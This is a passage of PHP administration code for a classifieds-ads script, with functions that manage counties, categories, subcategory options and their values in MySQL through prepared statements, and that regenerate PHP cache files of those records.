		$sql = "SELECT * FROM ". PREFIX ."counties_lang WHERE id_county = :id_county ORDER BY id_county_lang";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_county', $id_county);
	
		$req->execute();
	
		$result = $req->fetchAll();
		
		$req->closeCursor();
		

$cache_counties .= ''. "\n" .''. $id_county .'=>
array(
\'id_county\' => \''. $id_county .'\',
\'pos_county\' => \''. $pos_county .'\',
\'par_reg\' => \''. $par_reg .'\',';

foreach($result as $v)
{
	$cache_counties .= ''. "\n" .'\'name_county_'. $v['code_lang'] .'\' => \''. addslashes($v['name_county_lang']) .'\',';
}

$cache_counties .= ''. "\n" .'),';
	}
	
$cache_counties .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_counties.php', $cache_counties);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_counties.php');

	return true;
}

////////////////////////////////
//Update county
//////////////////////////////////	

function update_county($id_county, $par_reg, $array)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$sql = "INSERT INTO ". PREFIX ."counties_lang values(NULL, :id_county, :par_reg, :code_lang, :name_county_lang) ON DUPLICATE KEY UPDATE name_county_lang = VALUES(name_county_lang)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_county', $id_county);
			$req->bindValue('par_reg', $par_reg);
			$req->bindValue('code_lang', $array[$code_lang]);
			$req->bindValue('name_county_lang', $array['name_'. $code_lang]);
			
			$req->execute();
			$req->closeCursor();
		}	
	}

	return true;
}
		
////////////////////////////////
//Delete county
//////////////////////////////////

function delete_county($id_county)
{
	global $conn;
	
	$bdd = $conn;

	$sql = "UPDATE ". PREFIX ."counties SET pos_county = (pos_county - 1) WHERE pos_county > (SELECT * FROM (SELECT pos_county FROM ". PREFIX ."counties WHERE id_county = :id_county) imaginary_table) AND par_reg = (SELECT * FROM (SELECT par_reg FROM ". PREFIX ."counties WHERE id_county = :id_county) imaginary_table)";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_county', $id_county);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."counties WHERE id_county = :id_county";	
	$req = $bdd->prepare($sql);

	$req->bindValue('id_county', $id_county);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."counties_lang WHERE id_county = :id_county";	
	$req = $bdd->prepare($sql);

	$req->bindValue('id_county', $id_county);
	$req->execute();
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Create a category or subcategory
///////////////////////////////////

function create_cat($array, $par_cat)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$sql = "INSERT INTO ". PREFIX ."cat values(NULL, :par_cat, (SELECT * FROM (SELECT IFNULL(MAX(pos_cat), 0) FROM ". PREFIX ."cat WHERE par_cat = :par_cat) imaginary_table) + 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('par_cat', $par_cat);
	
	$req->execute();
	$req->closeCursor();
	
	$id_cat = $bdd->lastInsertId();
	
	$sql = "INSERT INTO ". PREFIX ."cat_lang values(NULL, :id_cat, :par_cat, :code_lang, :name_cat_lang)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$id_lang = (int) $v['id_lang'];
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_cat', $id_cat);
			$req->bindValue('par_cat', $par_cat);
			$req->bindValue('code_lang', $array[$code_lang]);
			$req->bindValue('name_cat_lang', $array['name_'. $id_lang]);
			
			$req->execute();
			$req->closeCursor();
		}	
	}
	
	return true;
}

////////////////////////////////
//Caching categories and subcategory
/////////////////////////////////

function create_cache_cat()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."cat ORDER BY par_cat, pos_cat";
	$req = $bdd->prepare($sql);

	$req->execute();

	$result = $req->fetchAll();
	
$cache_cat = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Categories
////////////////////////////////// '. "\n" .' 
$cache_cat = array(';
	
	foreach($result as $v)
	{
		$id_cat = (int) $v['id_cat'];
		$par_cat = (int) $v['par_cat'];
		$pos_cat = (int) $v['pos_cat'];
		$disc = (int) $v['disc'];
		$price_par = (float) $v['price_par'];
		$price_pro = (float) $v['price_pro'];
		$price_par_mod = (float) $v['price_par_mod'];
		$price_pro_mod = (float) $v['price_pro_mod'];
		$price_par_ren = (float) $v['price_par_ren'];
		$price_pro_ren = (float) $v['price_pro_ren'];
		$calendar = (int) $v['calendar'];
		$doc = (int) $v['upload_doc'];
		$comments = (int) $v['comments'];
		
		$sql = "SELECT * FROM ". PREFIX ."cat_lang WHERE id_cat = :id_cat ORDER BY id_cat_lang";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_cat', $id_cat);
	
		$req->execute();
	
		$result = $req->fetchAll();
		
		$req->closeCursor();
		
		$sql = "SELECT * FROM ". PREFIX ."cat_note_lang WHERE id_cat = :id_cat ORDER BY id_cat_note_lang";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_cat', $id_cat);
	
		$req->execute();
	
		$result_note = $req->fetchAll();
		
		$req->closeCursor();
		
$cache_cat .= ''. "\n" .''. $id_cat .'=>
array(
\'id_cat\' => \''. $id_cat .'\',
\'par_cat\' => \''. $par_cat .'\',
\'pos_cat\' => \''. $pos_cat .'\',
\'disc\' => \''. $disc .'\',
\'calendar\' => \''. $calendar .'\',
\'upload_doc\' => \''. $doc .'\',
\'comments\' => \''. $comments .'\',';

foreach($result as $v)
{
	$cache_cat .= ''. "\n" .'\'name_cat_'. $v['code_lang'] .'\' => \''. addslashes($v['name_cat_lang']) .'\',';
}

foreach($result_note as $v)
{
	$cache_cat .= ''. "\n" .'\'note_cat_'. $v['code_lang'] .'\' => \''. addslashes($v['txt_cat_note_lang']) .'\',';
}

$cache_cat .= ''. "\n" .'\'price_par\' => \''. $price_par .'\',
\'price_pro\' => \''. $price_pro .'\',
\'price_par_mod\' => \''. $price_par_mod .'\',
\'price_pro_mod\' => \''. $price_pro_mod .'\',
\'price_par_ren\' => \''. $price_par_ren .'\',
\'price_pro_ren\' => \''. $price_pro_ren .'\',
),';
	}
	
$cache_cat .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_cat.php', $cache_cat);

	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_cat.php');

	return true;
}

////////////////////////////////
//Update category or subcategory
///////////////////////////////////

function update_cat($id_cat, $par_cat, $array)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$sql = "INSERT INTO ". PREFIX ."cat_lang values(NULL, :id_cat, :par_cat, :code_lang, :name_cat_lang) ON DUPLICATE KEY UPDATE name_cat_lang = VALUES(name_cat_lang)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$id_lang = (int) $v['id_lang'];
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_cat', $id_cat);
			$req->bindValue('par_cat', $par_cat);
			$req->bindValue('code_lang', $array[$code_lang]);
			$req->bindValue('name_cat_lang', $array['name_'. $id_lang]);
			
			$req->execute();
			$req->closeCursor();
		}	
	}

	return true;
}

////////////////////////////////
//Delete search cat options
///////////////////////////////////

function delete_cat_search_opt($id_cat, $par_cat)
{
	global $conn;
	
	$bdd = $conn;
	
	if(empty($par_cat))
	{
		$sql_del = "SELECT id_cat FROM ". PREFIX ."cat WHERE par_cat = :id_cat";	
		$req_del = $bdd->prepare($sql_del);
		
		$req_del->bindValue('id_cat', $id_cat);
		$req_del->execute();
		
		while($row = $req_del->fetch())
		{
			$id_cat = (int) $row['id_cat'];
			
			$sql = "DELETE FROM ". PREFIX ."search_price WHERE id_cat = :id_cat";	
			$req = $bdd->prepare($sql);
		
			$req->bindValue('id_cat', $id_cat);
			$req->execute();
			$req->closeCursor();
			
			$sql = "DELETE FROM ". PREFIX ."search_digital WHERE id_cat = :id_cat";	
			$req = $bdd->prepare($sql);
		
			$req->bindValue('id_cat', $id_cat);
			$req->execute();
			$req->closeCursor();
			
			$sql = "DELETE FROM ". PREFIX ."search_data WHERE id_cat = :id_cat";	
			$req = $bdd->prepare($sql);
		
			$req->bindValue('id_cat', $id_cat);
			$req->execute();
			$req->closeCursor();
			
			$sql = "DELETE FROM ". PREFIX ."search_check WHERE id_cat = :id_cat";	
			$req = $bdd->prepare($sql);
		
			$req->bindValue('id_cat', $id_cat);
			$req->execute();
			$req->closeCursor();
		}
		
		$req_del->closeCursor();
	}
	elseif(!empty($id_cat))
	{
		$sql = "DELETE FROM ". PREFIX ."search_price WHERE id_cat = :id_cat";	
		$req = $bdd->prepare($sql);
	
		$req->bindValue('id_cat', $id_cat);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."search_digital WHERE id_cat = :id_cat";	
		$req = $bdd->prepare($sql);
	
		$req->bindValue('id_cat', $id_cat);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."search_data WHERE id_cat = :id_cat";	
		$req = $bdd->prepare($sql);
	
		$req->bindValue('id_cat', $id_cat);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."search_check WHERE id_cat = :id_cat";	
		$req = $bdd->prepare($sql);
	
		$req->bindValue('id_cat', $id_cat);
		$req->execute();
		$req->closeCursor();
	}
}

////////////////////////////////
//Delete a category or subcategory
///////////////////////////////////

function delete_cat($id_cat, $par_cat)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "UPDATE ". PREFIX ."cat SET pos_cat = (pos_cat - 1) WHERE pos_cat > (SELECT * FROM (SELECT pos_cat FROM ". PREFIX ."cat WHERE id_cat = :id_cat AND par_cat = :par_cat) imaginary_table)";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_cat', $id_cat);
	$req->bindValue('par_cat', $par_cat);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."cat WHERE id_cat = :id_cat OR par_cat = :id_cat";	
	$req = $bdd->prepare($sql);

	$req->bindValue('id_cat', $id_cat);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."cat_lang WHERE id_cat = :id_cat OR par_cat = :id_cat";	
	$req = $bdd->prepare($sql);

	$req->bindValue('id_cat', $id_cat);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."cat_note_lang WHERE id_cat = :id_cat OR par_cat = :id_cat";	
	$req = $bdd->prepare($sql);

	$req->bindValue('id_cat', $id_cat);
	$req->execute();
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Delete all subcategories
///////////////////////////////////

function delete_all_subcat($array)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql1 = "SELECT par_cat FROM ". PREFIX ."cat WHERE id_cat = :id_cat";	
	$req1 = $bdd->prepare($sql1);
	
	$sql2 = "UPDATE ". PREFIX ."cat SET pos_cat = (pos_cat - 1) WHERE pos_cat > (SELECT * FROM (SELECT pos_cat FROM ". PREFIX ."cat WHERE id_cat = :id_cat AND par_cat = :par_cat) imaginary_table)";
	$req2 = $bdd->prepare($sql2);
	
	$sql3 = "DELETE FROM ". PREFIX ."cat WHERE id_cat = :id_cat";	
	$req3 = $bdd->prepare($sql3);
	
	$sql4 = "DELETE FROM ". PREFIX ."cat_lang WHERE id_cat = :id_cat";	
	$req4 = $bdd->prepare($sql4);
	
	$sql5 = "DELETE FROM ". PREFIX ."cat_note_lang WHERE id_cat = :id_cat";	
	$req5 = $bdd->prepare($sql5);
	
	foreach($array as $id_cat)
	{
		$req1->bindValue('id_cat', $id_cat);
		$req1->execute();
		
		$result = $req1->fetch();
		
		$req1->closeCursor();
		
		$req2->bindValue('id_cat', $id_cat);
		$req2->bindValue('par_cat', $result['par_cat']);
		$req2->execute();
		$req2->closeCursor();
		
		$req3->bindValue('id_cat', $id_cat);
		$req3->execute();
		$req3->closeCursor();
		
		$req4->bindValue('id_cat', $id_cat);
		$req4->execute();
		$req4->closeCursor();
		
		$req5->bindValue('id_cat', $id_cat);
		$req5->execute();
		$req5->closeCursor();
	}
	
	return true;
}

////////////////////////////////
//Create a category note for the deposit form
///////////////////////////////////

function create_note($id_cat, $par_cat, $array)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$sql = "INSERT INTO ". PREFIX ."cat_note_lang VALUES(NULL, :id_cat, :par_cat, :code_lang, :txt_cat_note_lang) ON DUPLICATE KEY UPDATE txt_cat_note_lang = VALUES(txt_cat_note_lang)";
	$req = $bdd->prepare($sql);

	foreach($cache_lang as $v)
	{
		$id_lang = (int) $v['id_lang'];
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_cat', $id_cat);
			$req->bindValue('par_cat', $par_cat);
			$req->bindValue('code_lang', $array[$code_lang]);
			$req->bindValue('txt_cat_note_lang', $array['note_'. $id_lang]);
			
			$req->execute();
			$req->closeCursor();
		}	
	}

	return true;    	
}

////////////////////////////////
//Apply a disclaimer
////////////////////////////////

function create_disc($id_cat, $disc)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "UPDATE ". PREFIX ."cat SET disc = :disc WHERE id_cat = :cat";
	$req = $bdd->prepare($sql);

	$req->bindValue('disc', $disc);
	$req->bindValue('cat', $id_cat);
	$req->execute();
	$req->closeCursor();

	return true;	
}

////////////////////////////////
//Create a subcategory option
///////////////////////////////////

function create_opt_cat($array, $l)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$optional = (!empty($_POST['optional'])) ? (int) $_POST['optional'] : 0;
	$child = (!empty($_POST['child'])) ? (int) $_POST['child'] : 0;
	$onsearch = (!empty($_POST['onsearch'])) ? (int) $_POST['onsearch'] : 0;
	$comment = (!empty($_POST['comment'])) ? $_POST['comment'] : 0;
	$display = (!empty($_POST['display'])) ? (int) $_POST['display'] : 0;
	
	$sql = "INSERT INTO ". PREFIX ."cat_opts VALUES(NULL, :child_cat_opt, (SELECT * FROM (SELECT IFNULL(MAX(pos_cat_opt), 0) FROM ". PREFIX ."cat_opts WHERE type_cat_opt = :type_cat_opt) imaginary_table) + 1, :type_cat_opt, :optional, :onsearch, :comment, :display)";
	$req = $bdd->prepare($sql);

	$req->bindValue('child_cat_opt', $child);
	$req->bindValue('type_cat_opt', $l);
	$req->bindValue('optional', $optional);
	$req->bindValue('onsearch', $onsearch);
	$req->bindValue('comment', $comment);
	$req->bindValue('display', $display);
	$req->execute();
	$req->closeCursor();
	
	if($l != 4)
	{
		$id_cat_opt = $bdd->lastInsertId();
		
		$sql = "INSERT INTO ". PREFIX ."cat_opts_lang values(NULL, :id_cat_opt, :code_lang, :name_cat_opt_lang, :unit_cat_opt_lang)";
		$req = $bdd->prepare($sql);
		
		foreach($cache_lang as $v)
		{
			$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
			$active = (int) $v['active'];
			
			if($active == 1)
			{
				$unit = (!empty($array['unit_'. $code_lang])) ? $array['unit_'. $code_lang] : '';
				
				$req->bindValue('id_cat_opt', $id_cat_opt);
				$req->bindValue('code_lang', $code_lang);
				$req->bindValue('name_cat_opt_lang', $array['name_'. $code_lang]);
				$req->bindValue('unit_cat_opt_lang', $unit);
				
				$req->execute();
				$req->closeCursor();
			}	
		}
	}
	
	return true;
}

////////////////////////////////
//Caching subcategory options
/////////////////////////////////

function create_cache_opts_cat()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."cat_opts ORDER BY pos_cat_opt";
	$req = $bdd->prepare($sql);

	$req->execute(); 

	$result = $req->fetchAll();
	
$cache_cat_opts = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Subcategory options
////////////////////////////////// '. "\n" .' 
$cache_cat_opts = array(';
	
	foreach($result as $v)
	{
		$id_cat_opt = (int) $v['id_cat_opt'];
		$child_cat_opt = (int) $v['child_cat_opt'];
		$pos_cat_opt = (int) $v['pos_cat_opt'];
		$type_cat_opt = (int) $v['type_cat_opt'];
		$comment = addslashes($v['comment']);
		$optional = (int) $v['optional'];
		$onsearch = (int) $v['onsearch'];
		$display = (int) $v['display'];
		
		$sql = "SELECT * FROM ". PREFIX ."cat_opts_lang WHERE id_cat_opt = :id_cat_opt ORDER BY id_cat_opt_lang";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_cat_opt', $id_cat_opt);
	
		$req->execute();
	
		$result = $req->fetchAll();
		
		$req->closeCursor();
		
$cache_cat_opts .= ''. "\n" .''. $id_cat_opt .'=>
array(
\'id_cat_opt\' => \''. $id_cat_opt .'\',
\'child_cat_opt\' => \''. $child_cat_opt .'\',';

foreach($result as $v)
{
	$cache_cat_opts .= ''. "\n" .'\'name_cat_opt_'. $v['code_lang'] .'\' => \''. addslashes($v['name_cat_opt_lang']) .'\',
\'unit_cat_opt_'. $v['code_lang'] .'\' => \''. addslashes($v['unit_cat_opt_lang']) .'\',';
}
	
$cache_cat_opts .= '
\'pos_cat_opt\' => \''. $pos_cat_opt .'\',
\'type_cat_opt\' => \''. $type_cat_opt .'\',
\'comment\' => \''. $comment .'\',
\'optional\' => \''. $optional .'\',
\'onsearch\' => \''. $onsearch .'\',
\'display\' => \''. $display .'\',
),';
	}
	
$cache_cat_opts .= ''. "\n" .');';
	
	file_put_contents(__DIR__.'/cache/cache_cat_opts.php', $cache_cat_opts);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate(__DIR__.'/cache/cache_cat_opts.php');

	return true;
}

////////////////////////////////
//Update subcategory options
///////////////////////////////////

function update_opt_cat($array, $id_cat_opt, $par_cat_opt, $l)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$optional = (!empty($_POST['optional'])) ? (int) $_POST['optional'] : 0;
	$child = (!empty($_POST['child'])) ? (int) $_POST['child'] : 0;
	$onsearch = (!empty($_POST['onsearch'])) ? (int) $_POST['onsearch'] : 0;
	$display = (!empty($_POST['display'])) ? (int) $_POST['display'] : 0;
	
	$sql = "UPDATE ". PREFIX ."cat_opts SET child_cat_opt = :child_cat_opt, optional = :optional, onsearch = :onsearch, comment = :comment, display = :display WHERE id_cat_opt = :id_cat_opt";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('child_cat_opt', $child);
	$req->bindValue('optional', $optional);
	$req->bindValue('onsearch', $onsearch);
	$req->bindValue('comment', $_POST['comment']);
	$req->bindValue('display', $display);
	$req->bindValue('id_cat_opt', $id_cat_opt);
	
	$req->execute();
	$req->closeCursor();
	
	$sql = "INSERT INTO ". PREFIX ."cat_opts_lang values(NULL, :id_cat_opt, :code_lang, :name_cat_opt_lang, :unit_cat_opt_lang) ON DUPLICATE KEY UPDATE name_cat_opt_lang = VALUES(name_cat_opt_lang), unit_cat_opt_lang = VALUES(unit_cat_opt_lang)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		$unit = (!empty($array['unit_'. $code_lang])) ? $array['unit_'. $code_lang] : '';
		
		if($active == 1)
		{
			$req->bindValue('id_cat_opt', $id_cat_opt);
			$req->bindValue('code_lang', $code_lang);
			$req->bindValue('name_cat_opt_lang', $array['name_'. $code_lang]);
			$req->bindValue('unit_cat_opt_lang', $unit);
			
			$req->execute();
			$req->closeCursor();
		}	
	}
	
	if($child == 0)
	{
		$sql = "UPDATE ". PREFIX ."val_data SET par_cat_opt = :par_cat_opt WHERE par_cat_opt = :id_cat_opt";
		$req = $bdd->prepare($sql);
	
		$req->bindValue('par_cat_opt', 0);
		$req->bindValue('id_cat_opt', $id_cat_opt);
		$req->execute();
		$req->closeCursor();
	}
	
	return true;
}

////////////////////////////////
//Delete a subcategory option
///////////////////////////////////
 
function delete_opt_cat($id_cat_opt, $l)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "UPDATE ". PREFIX ."val_data SET par_cat_opt = :par_cat_opt WHERE par_cat_opt = :id_cat_opt";
	$req = $bdd->prepare($sql);

	$req->bindValue('par_cat_opt', 0);
	$req->bindValue('id_cat_opt', $id_cat_opt);
	$req->execute();
	$req->closeCursor();
	
	$sql = "UPDATE ". PREFIX ."cat_opts SET pos_cat_opt = (pos_cat_opt - 1) WHERE pos_cat_opt > (SELECT * FROM (SELECT pos_cat_opt FROM ". PREFIX ."cat_opts WHERE id_cat_opt = :id_cat_opt) imaginary_table) AND type_cat_opt = :type_cat_opt";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_cat_opt', $id_cat_opt);
	$req->bindValue('type_cat_opt', $l);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."cat_opts WHERE id_cat_opt = :id_cat_opt";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_cat_opt', $id_cat_opt);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."cat_opts_lang WHERE id_cat_opt = :id_cat_opt";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_cat_opt', $id_cat_opt);
	$req->execute();
	$req->closeCursor();
	
	if($l == 1)
	{
		$sql = "DELETE FROM ". PREFIX ."val_digital WHERE id_cat_opt = :id_cat_opt";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_cat_opt', $id_cat_opt);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."search_digital WHERE id_cat_opt = :id_cat_opt";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_cat_opt', $id_cat_opt);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."ads_digital WHERE id_cat_opt = :id_cat_opt";
		$req = $bdd->prepare($sql);
	
		$req->bindValue('id_cat_opt', $id_cat_opt);
		$req->execute();
		$req->closeCursor();
	}
	elseif($l == 2)
	{
		$sql = "DELETE FROM ". PREFIX ."val_data WHERE id_cat_opt = :id_cat_opt";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_cat_opt', $id_cat_opt);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."val_data_lang WHERE id_cat_opt = :id_cat_opt";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_cat_opt', $id_cat_opt);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."search_data WHERE id_cat_opt = :id_cat_opt";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_cat_opt', $id_cat_opt);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."ads_data WHERE id_cat_opt = :id_cat_opt";
		$req = $bdd->prepare($sql);
	
		$req->bindValue('id_cat_opt', $id_cat_opt);
		$req->execute();
		$req->closeCursor();
	}
	elseif($l == 3)
	{
		$sql = "DELETE FROM ". PREFIX ."val_check WHERE id_cat_opt = :id_cat_opt";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_cat_opt', $id_cat_opt);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."val_check_lang WHERE id_cat_opt = :id_cat_opt";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_cat_opt', $id_cat_opt);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."search_check WHERE id_cat_opt = :id_cat_opt";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_cat_opt', $id_cat_opt);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."ads_check WHERE id_cat_opt = :id_cat_opt";
		$req = $bdd->prepare($sql);
	
		$req->bindValue('id_cat_opt', $id_cat_opt);
		$req->execute();
		$req->closeCursor();
	}
	else 
	{
		$sql = "DELETE FROM ". PREFIX ."val_price WHERE id_cat_opt = :id_cat_opt";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_cat_opt', $id_cat_opt);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."search_price WHERE id_cat_opt = :id_cat_opt";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_cat_opt', $id_cat_opt);
		$req->execute();
		$req->closeCursor();
	}
	
	return true;
}

////////////////////////////////
//Create a digital value
///////////////////////////////////

function create_digital_value($array, $id_cat_opt)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "INSERT INTO ". PREFIX ."val_digital VALUES(NULL, :val_digital, :id_cat_opt)";
	$req = $bdd->prepare($sql);

	$req->bindValue('val_digital', $array['val']);
	$req->bindValue('id_cat_opt', $id_cat_opt);
	
	$req->execute();
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Create a data value
///////////////////////////////////

function create_data_value($array, $id_cat_opt, $par_cat_opt)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$sql = "INSERT INTO ". PREFIX ."val_data VALUES(NULL, (SELECT * FROM (SELECT IFNULL(MAX(pos_val_data), 0) FROM ". PREFIX ."val_data WHERE id_cat_opt = :id_cat_opt) imaginary_table) + 1, :id_cat_opt, :par_cat_opt)";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_cat_opt', $id_cat_opt);
	$req->bindValue('par_cat_opt', $par_cat_opt);
	
	$req->execute();
	$req->closeCursor();
	
	$id_val_data = $bdd->lastInsertId();
	
	$sql = "INSERT INTO ". PREFIX ."val_data_lang VALUES(NULL, :id_val_data, :code_lang, :val_data_lang, :id_cat_opt)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_val_data', $id_val_data);
			$req->bindValue('code_lang', $code_lang);
			$req->bindValue('val_data_lang', $array['val_'. $code_lang]);
			$req->bindValue('id_cat_opt', $id_cat_opt);
			
			$req->execute();
			$req->closeCursor();
		}	
	}
	
	return true;
}

////////////////////////////////
//Create a checkbox value
///////////////////////////////////

function create_checkbox_value($array, $id_cat_opt)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$sql = "INSERT INTO ". PREFIX ."val_check VALUES(NULL, (SELECT * FROM (SELECT IFNULL(MAX(pos_val_check), 0) FROM ". PREFIX ."val_check WHERE id_cat_opt = :id_cat_opt) imaginary_table) + 1, :id_cat_opt)";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_cat_opt', $id_cat_opt);
	
	$req->execute();
	$req->closeCursor();
	
	$id_val_check = $bdd->lastInsertId();
	
	$sql = "INSERT INTO ". PREFIX ."val_check_lang VALUES(NULL, :id_val_check, :code_lang, :val_check_lang, :id_cat_opt)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_val_check', $id_val_check);
			$req->bindValue('code_lang', $code_lang);
			$req->bindValue('val_check_lang', $array['val_'. $code_lang]);
			$req->bindValue('id_cat_opt', $id_cat_opt);
			
			$req->execute();
			$req->closeCursor();
		}	
	}
	
	return true;
}

////////////////////////////////
//Create a price value
///////////////////////////////////

function create_price_value($array, $id_cat_opt)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "INSERT INTO ". PREFIX ."val_price VALUES(NULL, :val_digital, :id_cat_opt)";
	$req = $bdd->prepare($sql);

	$req->bindValue('val_digital', $array['val']);
	$req->bindValue('id_cat_opt', $id_cat_opt);
	
	$req->execute();
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Caching digital value
/////////////////////////////////

function create_cache_val_digital()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."val_digital ORDER BY val_digital";
	$req = $bdd->prepare($sql);

	$req->execute(); 

	$result = $req->fetchAll();
	
$cache_val_digital = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Digital values
////////////////////////////////// '. "\n" .' 
$cache_val_digital = array(';
	
	foreach($result as $v)
	{
		$id_val_digital = (int) $v['id_val_digital'];
		$val_digital = (float) $v['val_digital'];
		$id_cat_opt = (int) $v['id_cat_opt'];
		
$cache_val_digital .= ''. "\n" .''. $id_val_digital .'=>
array(
\'id_val_digital\' => \''. $id_val_digital .'\',
\'val_digital\' => \''. $val_digital .'\',
\'id_cat_opt\' => \''. $id_cat_opt .'\',
),';
	}
	
$cache_val_digital .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_val_digital.php', $cache_val_digital);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_val_digital.php');	

	return true;
}

////////////////////////////////
//Caching data value
